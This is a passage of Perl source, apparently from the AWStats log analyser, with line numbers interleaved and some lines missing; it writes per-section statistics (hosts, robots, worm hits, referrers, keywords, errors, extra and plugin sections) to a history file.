"<section id='$sectiontosave'><sortfor>$MaxNbOf{'HostsShown'}</sortfor><comment>\n";
6500
"# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]\n";
6502
"# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished\n";
6504
"# The $MaxNbOf{'HostsShown'} first Hits must be first (order not required for others)\n";
6505
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6506
print HISTORYTMP "${xmlbb}BEGIN_VISITOR${xmlbs}"
6507
. ( scalar keys %_host_h )
6509
my $monthhostsknown = 0;
6511
# We save page list in score sorted order to get a -output faster and with less use of memory.
6512
&BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h,
6514
my %keysinkeylist = ();
6515
foreach my $key (@keylist) {
6516
if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) {
6519
$keysinkeylist{$key} = 1;
6520
my $page = $_host_p{$key} || 0;
6521
my $bytes = $_host_k{$key} || 0;
6522
my $timehostl = $_host_l{$key} || 0;
6523
my $timehosts = $_host_s{$key} || 0;
6524
my $lastpage = $_host_u{$key} || '';
6525
if ( $timehostl && $timehosts && $lastpage ) {
6527
if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) {
6529
# Session for this user is expired
6531
$_session{ GetSessionRange( $timehosts, $timehostl ) }
6534
if ($lastpage) { $_url_x{$lastpage}++; }
6535
delete $_host_s{$key};
6536
delete $_host_u{$key};
6538
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n";
6542
# If this user has started a new session that is not expired
6544
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n";
6548
my $hostl = $timehostl || '';
6550
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n";
6553
foreach my $key ( keys %_host_h ) {
6554
if ( $keysinkeylist{$key} ) { next; }
6555
if ( $key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i ) {
6558
my $page = $_host_p{$key} || 0;
6559
my $bytes = $_host_k{$key} || 0;
6560
my $timehostl = $_host_l{$key} || 0;
6561
my $timehosts = $_host_s{$key} || 0;
6562
my $lastpage = $_host_u{$key} || '';
6563
if ( $timehostl && $timehosts && $lastpage ) {
6564
if ( ( $timehostl + $VISITTIMEOUT ) < $LastLine ) {
6566
# Session for this user is expired
6568
$_session{ GetSessionRange( $timehosts, $timehostl ) }
6571
if ($lastpage) { $_url_x{$lastpage}++; }
6572
delete $_host_s{$key};
6573
delete $_host_u{$key};
6575
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n";
6579
# If this user has started a new session that is not expired
6581
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n";
6585
my $hostl = $timehostl || '';
6587
"${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n";
6590
$MonthUnique{ $year . $month } = ( scalar keys %_host_p );
6591
$MonthHostsKnown{ $year . $month } = $monthhostsknown;
6592
$MonthHostsUnknown{ $year . $month } =
6593
( scalar keys %_host_h ) - $monthhostsknown;
6594
print HISTORYTMP "${xmleb}END_VISITOR${xmlee}\n";
6596
if ( $sectiontosave eq 'login' ) {
6597
print HISTORYTMP "\n";
6600
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'LoginShown'}</sortfor><comment>\n";
6602
print HISTORYTMP "# Login - Pages - Hits - Bandwidth - Last visit\n";
6604
"# The $MaxNbOf{'LoginShown'} first Pages must be first (order not required for others)\n";
6605
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6606
print HISTORYTMP "${xmlbb}BEGIN_LOGIN${xmlbs}"
6607
. ( scalar keys %_login_h )
6610
# We save login list in score sorted order to get a -output faster and with less use of memory.
6611
&BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h,
6613
my %keysinkeylist = ();
6614
foreach (@keylist) {
6615
$keysinkeylist{$_} = 1;
6616
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6617
. int( $_login_p{$_} || 0 )
6619
. int( $_login_h{$_} || 0 )
6621
. int( $_login_k{$_} || 0 )
6623
. ( $_login_l{$_} || '' )
6626
foreach ( keys %_login_h ) {
6627
if ( $keysinkeylist{$_} ) { next; }
6628
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6629
. int( $_login_p{$_} || 0 )
6631
. int( $_login_h{$_} || 0 )
6633
. int( $_login_k{$_} || 0 )
6635
. ( $_login_l{$_} || '' )
6638
print HISTORYTMP "${xmleb}END_LOGIN${xmlee}\n";
6640
if ( $sectiontosave eq 'robot' ) {
6641
print HISTORYTMP "\n";
6644
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RobotShown'}</sortfor><comment>\n";
6647
"# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt\n";
6649
"# The $MaxNbOf{'RobotShown'} first Hits must be first (order not required for others)\n";
6650
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6651
print HISTORYTMP "${xmlbb}BEGIN_ROBOT${xmlbs}"
6652
. ( scalar keys %_robot_h )
6655
# We save robot list in score sorted order to get a -output faster and with less use of memory.
6656
&BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h,
6658
my %keysinkeylist = ();
6659
foreach (@keylist) {
6660
$keysinkeylist{$_} = 1;
6661
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6662
. int( $_robot_h{$_} )
6664
. int( $_robot_k{$_} )
6665
. "${xmlrs}$_robot_l{$_}${xmlrs}"
6666
. int( $_robot_r{$_} || 0 )
6669
foreach ( keys %_robot_h ) {
6670
if ( $keysinkeylist{$_} ) { next; }
6671
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6672
. int( $_robot_h{$_} )
6674
. int( $_robot_k{$_} )
6675
. "${xmlrs}$_robot_l{$_}${xmlrs}"
6676
. int( $_robot_r{$_} || 0 )
6679
print HISTORYTMP "${xmleb}END_ROBOT${xmlee}\n";
6681
if ( $sectiontosave eq 'worms' ) {
6682
print HISTORYTMP "\n";
6685
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'WormsShown'}</sortfor><comment>\n";
6687
print HISTORYTMP "# Worm ID - Hits - Bandwidth - Last visit\n";
6689
"# The $MaxNbOf{'WormsShown'} first Hits must be first (order not required for others)\n";
6690
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6691
print HISTORYTMP "${xmlbb}BEGIN_WORMS${xmlbs}"
6692
. ( scalar keys %_worm_h )
6695
# We save worm list in score sorted order to get a -output faster and with less use of memory.
6696
&BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h,
6698
my %keysinkeylist = ();
6699
foreach (@keylist) {
6700
$keysinkeylist{$_} = 1;
6701
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6702
. int( $_worm_h{$_} )
6704
. int( $_worm_k{$_} )
6705
. "${xmlrs}$_worm_l{$_}${xmlre}\n";
6707
foreach ( keys %_worm_h ) {
6708
if ( $keysinkeylist{$_} ) { next; }
6709
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6710
. int( $_worm_h{$_} )
6712
. int( $_worm_k{$_} )
6713
. "${xmlrs}$_worm_l{$_}${xmlre}\n";
6715
print HISTORYTMP "${xmleb}END_WORMS${xmlee}\n";
6717
if ( $sectiontosave eq 'emailsender' ) {
6718
print HISTORYTMP "\n";
6721
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n";
6723
print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n";
6725
"# The $MaxNbOf{'EMailsShown'} first Hits must be first (order not required for others)\n";
6726
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6727
print HISTORYTMP "${xmlbb}BEGIN_EMAILSENDER${xmlbs}"
6728
. ( scalar keys %_emails_h )
6731
# We save sender email list in score sorted order to get a -output faster and with less use of memory.
6732
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h,
6734
my %keysinkeylist = ();
6735
foreach (@keylist) {
6736
$keysinkeylist{$_} = 1;
6737
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6738
. int( $_emails_h{$_} || 0 )
6740
. int( $_emails_k{$_} || 0 )
6741
. "${xmlrs}$_emails_l{$_}${xmlre}\n";
6743
foreach ( keys %_emails_h ) {
6744
if ( $keysinkeylist{$_} ) { next; }
6745
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6746
. int( $_emails_h{$_} || 0 )
6748
. int( $_emails_k{$_} || 0 )
6749
. "${xmlrs}$_emails_l{$_}${xmlre}\n";
6751
print HISTORYTMP "${xmleb}END_EMAILSENDER${xmlee}\n";
6753
if ( $sectiontosave eq 'emailreceiver' ) {
6754
print HISTORYTMP "\n";
6757
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'EMailsShown'}</sortfor><comment>\n";
6759
print HISTORYTMP "# EMail - Hits - Bandwidth - Last visit\n";
6761
"# The $MaxNbOf{'EMailsShown'} first hits must be first (order not required for others)\n";
6762
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6763
print HISTORYTMP "${xmlbb}BEGIN_EMAILRECEIVER${xmlbs}"
6764
. ( scalar keys %_emailr_h )
6767
# We save receiver email list in score sorted order to get a -output faster and with less use of memory.
6768
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h,
6770
my %keysinkeylist = ();
6771
foreach (@keylist) {
6772
$keysinkeylist{$_} = 1;
6773
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6774
. int( $_emailr_h{$_} || 0 )
6776
. int( $_emailr_k{$_} || 0 )
6777
. "${xmlrs}$_emailr_l{$_}${xmlre}\n";
6779
foreach ( keys %_emailr_h ) {
6780
if ( $keysinkeylist{$_} ) { next; }
6781
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6782
. int( $_emailr_h{$_} || 0 )
6784
. int( $_emailr_k{$_} || 0 )
6785
. "${xmlrs}$_emailr_l{$_}${xmlre}\n";
6787
print HISTORYTMP "${xmleb}END_EMAILRECEIVER${xmlee}\n";
6791
if ( $sectiontosave eq 'session' )
6792
{ # This section must be saved after VISITOR section is read
6793
print HISTORYTMP "\n";
6795
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6797
print HISTORYTMP "# Session range - Number of visits\n";
6798
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6799
print HISTORYTMP "${xmlbb}BEGIN_SESSION${xmlbs}"
6800
. ( scalar keys %_session )
6802
foreach ( keys %_session ) {
6803
print HISTORYTMP "${xmlrb}$_${xmlrs}"
6804
. int( $_session{$_} )
6807
print HISTORYTMP "${xmleb}END_SESSION${xmlee}\n";
6809
if ( $sectiontosave eq 'sider' )
6810
{ # This section must be saved after VISITOR section is read
6811
print HISTORYTMP "\n";
6814
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'PageShown'}</sortfor><comment>\n";
6816
print HISTORYTMP "# URL - Pages - Bandwidth - Entry - Exit\n";
6818
"# The $MaxNbOf{'PageShown'} first Pages must be first (order not required for others)\n";
6819
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6820
print HISTORYTMP "${xmlbb}BEGIN_SIDER${xmlbs}"
6821
. ( scalar keys %_url_p )
6824
# We save page list in score sorted order to get a -output faster and with less use of memory.
6825
&BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p,
6827
%keysinkeylist = ();
6828
foreach (@keylist) {
6829
$keysinkeylist{$_} = 1;
6831
$newkey =~ s/([^:])\/\//$1\//g
6832
; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm
6833
print HISTORYTMP "${xmlrb}"
6834
. XMLEncodeForHisto($newkey)
6836
. int( $_url_p{$_} || 0 )
6838
. int( $_url_k{$_} || 0 )
6840
. int( $_url_e{$_} || 0 )
6842
. int( $_url_x{$_} || 0 )
6845
foreach ( keys %_url_p ) {
6846
if ( $keysinkeylist{$_} ) { next; }
6848
$newkey =~ s/([^:])\/\//$1\//g
6849
; # Because some targeted url were taped with 2 / (Ex: //rep//file.htm). We must keep http://rep/file.htm
6850
print HISTORYTMP "${xmlrb}"
6851
. XMLEncodeForHisto($newkey)
6853
. int( $_url_p{$_} || 0 )
6855
. int( $_url_k{$_} || 0 )
6857
. int( $_url_e{$_} || 0 )
6859
. int( $_url_x{$_} || 0 )
6862
print HISTORYTMP "${xmleb}END_SIDER${xmlee}\n";
6864
if ( $sectiontosave eq 'filetypes' ) {
6865
print HISTORYTMP "\n";
6867
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6870
"# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression\n";
6871
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6872
print HISTORYTMP "${xmlbb}BEGIN_FILETYPES${xmlbs}"
6873
. ( scalar keys %_filetypes_h )
6875
foreach ( keys %_filetypes_h ) {
6876
my $hits = $_filetypes_h{$_} || 0;
6877
my $bytes = $_filetypes_k{$_} || 0;
6878
my $bytesbefore = $_filetypes_gz_in{$_} || 0;
6879
my $bytesafter = $_filetypes_gz_out{$_} || 0;
6881
"${xmlrb}$_${xmlrs}$hits${xmlrs}$bytes${xmlrs}$bytesbefore${xmlrs}$bytesafter${xmlre}\n";
6883
print HISTORYTMP "${xmleb}END_FILETYPES${xmlee}\n";
6885
if ( $sectiontosave eq 'downloads' ) {
6886
print HISTORYTMP "\n";
6888
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6890
print HISTORYTMP "# Downloads - Hits - Bandwidth\n";
6891
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6892
print HISTORYTMP "${xmlbb}BEGIN_DOWNLOADS${xmlbs}"
6893
. ( scalar keys %_downloads )
6895
for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){
6896
print HISTORYTMP "${xmlrb}"
6897
. XMLEncodeForHisto($u)
6899
. XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_HITS'} || 0)
6901
. XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_206'} || 0)
6903
. XMLEncodeForHisto($_downloads{$u}->{'AWSTATS_SIZE'} || 0)
6906
print HISTORYTMP "${xmleb}END_DOWNLOADS${xmlee}\n";
6908
if ( $sectiontosave eq 'os' ) {
6909
print HISTORYTMP "\n";
6911
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6913
print HISTORYTMP "# OS ID - Hits\n";
6914
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6915
print HISTORYTMP "${xmlbb}BEGIN_OS${xmlbs}"
6916
. ( scalar keys %_os_h )
6918
foreach ( keys %_os_h ) {
6919
print HISTORYTMP "${xmlrb}$_${xmlrs}$_os_h{$_}${xmlre}\n";
6921
print HISTORYTMP "${xmleb}END_OS${xmlee}\n";
6923
if ( $sectiontosave eq 'browser' ) {
6924
print HISTORYTMP "\n";
6926
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6928
print HISTORYTMP "# Browser ID - Hits\n";
6929
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6930
print HISTORYTMP "${xmlbb}BEGIN_BROWSER${xmlbs}"
6931
. ( scalar keys %_browser_h )
6933
foreach ( keys %_browser_h ) {
6934
print HISTORYTMP "${xmlrb}$_${xmlrs}$_browser_h{$_}${xmlre}\n";
6936
print HISTORYTMP "${xmleb}END_BROWSER${xmlee}\n";
6938
if ( $sectiontosave eq 'screensize' ) {
6939
print HISTORYTMP "\n";
6941
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6943
print HISTORYTMP "# Screen size - Hits\n";
6944
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6945
print HISTORYTMP "${xmlbb}BEGIN_SCREENSIZE${xmlbs}"
6946
. ( scalar keys %_screensize_h )
6948
foreach ( keys %_screensize_h ) {
6949
print HISTORYTMP "${xmlrb}$_${xmlrs}$_screensize_h{$_}${xmlre}\n";
6951
print HISTORYTMP "${xmleb}END_SCREENSIZE${xmlee}\n";
6955
if ( $sectiontosave eq 'unknownreferer' ) {
6956
print HISTORYTMP "\n";
6958
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6960
print HISTORYTMP "# Unknown referer OS - Last visit date\n";
6961
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6962
print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERER${xmlbs}"
6963
. ( scalar keys %_unknownreferer_l )
6965
foreach ( keys %_unknownreferer_l ) {
6966
print HISTORYTMP "${xmlrb}"
6967
. XMLEncodeForHisto($_)
6968
. "${xmlrs}$_unknownreferer_l{$_}${xmlre}\n";
6970
print HISTORYTMP "${xmleb}END_UNKNOWNREFERER${xmlee}\n";
6972
if ( $sectiontosave eq 'unknownrefererbrowser' ) {
6973
print HISTORYTMP "\n";
6975
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6977
print HISTORYTMP "# Unknown referer Browser - Last visit date\n";
6978
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6979
print HISTORYTMP "${xmlbb}BEGIN_UNKNOWNREFERERBROWSER${xmlbs}"
6980
. ( scalar keys %_unknownrefererbrowser_l )
6982
foreach ( keys %_unknownrefererbrowser_l ) {
6983
print HISTORYTMP "${xmlrb}"
6984
. XMLEncodeForHisto($_)
6985
. "${xmlrs}$_unknownrefererbrowser_l{$_}${xmlre}\n";
6987
print HISTORYTMP "${xmleb}END_UNKNOWNREFERERBROWSER${xmlee}\n";
6989
if ( $sectiontosave eq 'origin' ) {
6990
print HISTORYTMP "\n";
6992
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6994
print HISTORYTMP "# Origin - Pages - Hits \n";
6995
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6996
print HISTORYTMP "${xmlbb}BEGIN_ORIGIN${xmlbs}6" . "${xmlbe}\n";
6997
print HISTORYTMP "${xmlrb}From0${xmlrs}"
6998
. int( $_from_p[0] )
7000
. int( $_from_h[0] )
7002
print HISTORYTMP "${xmlrb}From1${xmlrs}"
7003
. int( $_from_p[1] )
7005
. int( $_from_h[1] )
7007
print HISTORYTMP "${xmlrb}From2${xmlrs}"
7008
. int( $_from_p[2] )
7010
. int( $_from_h[2] )
7012
print HISTORYTMP "${xmlrb}From3${xmlrs}"
7013
. int( $_from_p[3] )
7015
. int( $_from_h[3] )
7017
print HISTORYTMP "${xmlrb}From4${xmlrs}"
7018
. int( $_from_p[4] )
7020
. int( $_from_h[4] )
7021
. "${xmlre}\n"; # Same site
7022
print HISTORYTMP "${xmlrb}From5${xmlrs}"
7023
. int( $_from_p[5] )
7025
. int( $_from_h[5] )
7026
. "${xmlre}\n"; # News
7027
print HISTORYTMP "${xmleb}END_ORIGIN${xmlee}\n";
7029
if ( $sectiontosave eq 'sereferrals' ) {
7030
print HISTORYTMP "\n";
7032
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7034
print HISTORYTMP "# Search engine referers ID - Pages - Hits\n";
7035
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7036
print HISTORYTMP "${xmlbb}BEGIN_SEREFERRALS${xmlbs}"
7037
. ( scalar keys %_se_referrals_h )
7039
foreach ( keys %_se_referrals_h ) {
7040
print HISTORYTMP "${xmlrb}$_${xmlrs}"
7041
. int( $_se_referrals_p{$_} || 0 )
7042
. "${xmlrs}$_se_referrals_h{$_}${xmlre}\n";
7044
print HISTORYTMP "${xmleb}END_SEREFERRALS${xmlee}\n";
7046
if ( $sectiontosave eq 'pagerefs' ) {
7047
print HISTORYTMP "\n";
7050
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'RefererShown'}</sortfor><comment>\n";
7052
print HISTORYTMP "# External page referers - Pages - Hits\n";
7054
"# The $MaxNbOf{'RefererShown'} first Pages must be first (order not required for others)\n";
7055
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7056
print HISTORYTMP "${xmlbb}BEGIN_PAGEREFS${xmlbs}"
7057
. ( scalar keys %_pagesrefs_h )
7060
# We save page list in score sorted order to get a -output faster and with less use of memory.
7062
$MaxNbOf{'RefererShown'}, $MinHit{'Refer'},
7063
\%_pagesrefs_h, \%_pagesrefs_p
7065
%keysinkeylist = ();
7066
foreach (@keylist) {
7067
$keysinkeylist{$_} = 1;
7069
$newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i
7070
; # Remove / at end of http://.../ but not at end of http://.../dir/
7071
print HISTORYTMP "${xmlrb}"
7072
. XMLEncodeForHisto($newkey)
7074
. int( $_pagesrefs_p{$_} || 0 )
7075
. "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n";
7077
foreach ( keys %_pagesrefs_h ) {
7078
if ( $keysinkeylist{$_} ) { next; }
7080
$newkey =~ s/^http(s|):\/\/([^\/]+)\/$/http$1:\/\/$2/i
7081
; # Remove / at end of http://.../ but not at end of http://.../dir/
7082
print HISTORYTMP "${xmlrb}"
7083
. XMLEncodeForHisto($newkey)
7085
. int( $_pagesrefs_p{$_} || 0 )
7086
. "${xmlrs}$_pagesrefs_h{$_}${xmlre}\n";
7088
print HISTORYTMP "${xmleb}END_PAGEREFS${xmlee}\n";
7090
if ( $sectiontosave eq 'searchwords' ) {
7092
# Save phrases section
7093
print HISTORYTMP "\n";
7096
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'KeyphrasesShown'}</sortfor><comment>\n";
7098
print HISTORYTMP "# Search keyphrases - Number of search\n";
7100
"# The $MaxNbOf{'KeyphrasesShown'} first number of search must be first (order not required for others)\n";
7101
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7102
print HISTORYTMP "${xmlbb}BEGIN_SEARCHWORDS${xmlbs}"
7103
. ( scalar keys %_keyphrases )
7106
# We will also build _keywords
7109
# We save key list in score sorted order to get a -output faster and with less use of memory.
7110
&BuildKeyList( $MaxNbOf{'KeywordsShown'},
7111
$MinHit{'Keyword'}, \%_keyphrases, \%_keyphrases );
7112
%keysinkeylist = ();
7113
foreach my $key (@keylist) {
7114
$keysinkeylist{$key} = 1;
7115
my $keyphrase = $key;
7116
$keyphrase =~ tr/ /\+/s;
7117
print HISTORYTMP "${xmlrb}"
7118
. XMLEncodeForHisto($keyphrase)
7120
. $_keyphrases{$key}
7122
foreach ( split( /\+/, $key ) ) {
7123
$_keywords{$_} += $_keyphrases{$key};
7124
} # To init %_keywords
7126
foreach my $key ( keys %_keyphrases ) {
7127
if ( $keysinkeylist{$key} ) { next; }
7128
my $keyphrase = $key;
7129
$keyphrase =~ tr/ /\+/s;
7130
print HISTORYTMP "${xmlrb}"
7131
. XMLEncodeForHisto($keyphrase)
7133
. $_keyphrases{$key}
7135
foreach ( split( /\+/, $key ) ) {
7136
$_keywords{$_} += $_keyphrases{$key};
7137
} # To init %_keywords
7139
print HISTORYTMP "${xmleb}END_SEARCHWORDS${xmlee}\n";
7141
# Now save keywords section
7142
print HISTORYTMP "\n";
7145
"<section id='keywords'><sortfor>$MaxNbOf{'KeywordsShown'}</sortfor><comment>\n";
7147
print HISTORYTMP "# Search keywords - Number of search\n";
7149
"# The $MaxNbOf{'KeywordsShown'} first number of search must be first (order not required for others)\n";
7150
$ValueInFile{"keywords"} = tell HISTORYTMP;
7151
print HISTORYTMP "${xmlbb}BEGIN_KEYWORDS${xmlbs}"
7152
. ( scalar keys %_keywords )
7155
# We save key list in score sorted order to get a -output faster and with less use of memory.
7156
&BuildKeyList( $MaxNbOf{'KeywordsShown'},
7157
$MinHit{'Keyword'}, \%_keywords, \%_keywords );
7158
%keysinkeylist = ();
7159
foreach (@keylist) {
7160
$keysinkeylist{$_} = 1;
7162
print HISTORYTMP "${xmlrb}"
7163
. XMLEncodeForHisto($keyword)
7168
foreach ( keys %_keywords ) {
7169
if ( $keysinkeylist{$_} ) { next; }
7171
print HISTORYTMP "${xmlrb}"
7172
. XMLEncodeForHisto($keyword)
7177
print HISTORYTMP "${xmleb}END_KEYWORDS${xmlee}\n";
7182
if ( $sectiontosave eq 'cluster' ) {
7183
print HISTORYTMP "\n";
7185
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7187
print HISTORYTMP "# Cluster ID - Pages - Hits - Bandwidth\n";
7188
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7189
print HISTORYTMP "${xmlbb}BEGIN_CLUSTER${xmlbs}"
7190
. ( scalar keys %_cluster_h )
7192
foreach ( keys %_cluster_h ) {
7193
print HISTORYTMP "${xmlrb}$_${xmlrs}"
7194
. int( $_cluster_p{$_} || 0 )
7196
. int( $_cluster_h{$_} || 0 )
7198
. int( $_cluster_k{$_} || 0 )
7201
print HISTORYTMP "${xmleb}END_CLUSTER${xmlee}\n";
7203
if ( $sectiontosave eq 'misc' ) {
7204
print HISTORYTMP "\n";
7206
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7208
print HISTORYTMP "# Misc ID - Pages - Hits - Bandwidth\n";
7209
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7210
print HISTORYTMP "${xmlbb}BEGIN_MISC${xmlbs}"
7211
. ( scalar keys %MiscListCalc )
7213
foreach ( keys %MiscListCalc ) {
7214
print HISTORYTMP "${xmlrb}$_${xmlrs}"
7215
. int( $_misc_p{$_} || 0 )
7217
. int( $_misc_h{$_} || 0 )
7219
. int( $_misc_k{$_} || 0 )
7222
print HISTORYTMP "${xmleb}END_MISC${xmlee}\n";
7224
if ( $sectiontosave eq 'errors' ) {
7225
print HISTORYTMP "\n";
7227
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7229
print HISTORYTMP "# Errors - Hits - Bandwidth\n";
7230
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7231
print HISTORYTMP "${xmlbb}BEGIN_ERRORS${xmlbs}"
7232
. ( scalar keys %_errors_h )
7234
foreach ( keys %_errors_h ) {
7235
print HISTORYTMP "${xmlrb}$_${xmlrs}$_errors_h{$_}${xmlrs}"
7236
. int( $_errors_k{$_} || 0 )
7239
print HISTORYTMP "${xmleb}END_ERRORS${xmlee}\n";
7242
# Other - Trapped errors
7243
foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
7244
if ( $sectiontosave eq "sider_$code" ) {
7245
print HISTORYTMP "\n";
7247
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
7250
"# URL with $code errors - Hits - Last URL referer\n";
7251
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7252
print HISTORYTMP "${xmlbb}BEGIN_SIDER_$code${xmlbs}"
7253
. ( scalar keys %_sider404_h )
7255
foreach ( keys %_sider404_h ) {
7257
my $newreferer = $_referer404_h{$_} || '';
7258
print HISTORYTMP "${xmlrb}"
7259
. XMLEncodeForHisto($newkey)
7260
. "${xmlrs}$_sider404_h{$_}${xmlrs}"
7261
. XMLEncodeForHisto($newreferer)
7264
print HISTORYTMP "${xmleb}END_SIDER_$code${xmlee}\n";
7268
# Other - Extra stats sections
7269
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
7270
if ( $sectiontosave eq "extra_$extranum" ) {
7271
print HISTORYTMP "\n";
7274
"<section id='$sectiontosave'><sortfor>$MaxNbOfExtra[$extranum]</sortfor><comment>\n";
7277
"# Extra key - Pages - Hits - Bandwidth - Last access\n";
7279
"# The $MaxNbOfExtra[$extranum] first number of hits are first\n";
7280
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
7281
print HISTORYTMP "${xmlbb}BEGIN_EXTRA_$extranum${xmlbs}"
7282
. scalar( keys %{ '_section_' . $extranum . '_h' } )
7285
$MaxNbOfExtra[$extranum],
7286
$MinHitExtra[$extranum],
7287
\%{ '_section_' . $extranum . '_h' },
7288
\%{ '_section_' . $extranum . '_p' }
7290
%keysinkeylist = ();
7291
foreach (@keylist) {
7292
$keysinkeylist{$_} = 1;
7293
my $page = ${ '_section_' . $extranum . '_p' }{$_} || 0;
7294
my $bytes = ${ '_section_' . $extranum . '_k' }{$_} || 0;
7295
my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || '';
7296
print HISTORYTMP "${xmlrb}"
7297
. XMLEncodeForHisto($_)
7298
. "${xmlrs}$page${xmlrs}",
7299
${ '_section_' . $extranum . '_h' }{$_},
7300
"${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n";
7303
foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
7304
if ( $keysinkeylist{$_} ) { next; }
7305
my $page = ${ '_section_' . $extranum . '_p' }{$_} || 0;
7306
my $bytes = ${ '_section_' . $extranum . '_k' }{$_} || 0;
7307
my $lastaccess = ${ '_section_' . $extranum . '_l' }{$_} || '';
7308
print HISTORYTMP "${xmlrb}"
7309
. XMLEncodeForHisto($_)
7310
. "${xmlrs}$page${xmlrs}",
7311
${ '_section_' . $extranum . '_h' }{$_},
7312
"${xmlrs}$bytes${xmlrs}$lastaccess${xmlre}\n";
7315
print HISTORYTMP "${xmleb}END_EXTRA_$extranum${xmlee}\n";
7319
# Other - Plugin sections
7320
if ( $AtLeastOneSectionPlugin && $sectiontosave =~ /^plugin_(\w+)$/i ) {
7321
my $pluginname = $1;
7322
if ( $PluginsLoaded{'SectionInitHashArray'}{"$pluginname"} ) {
7324
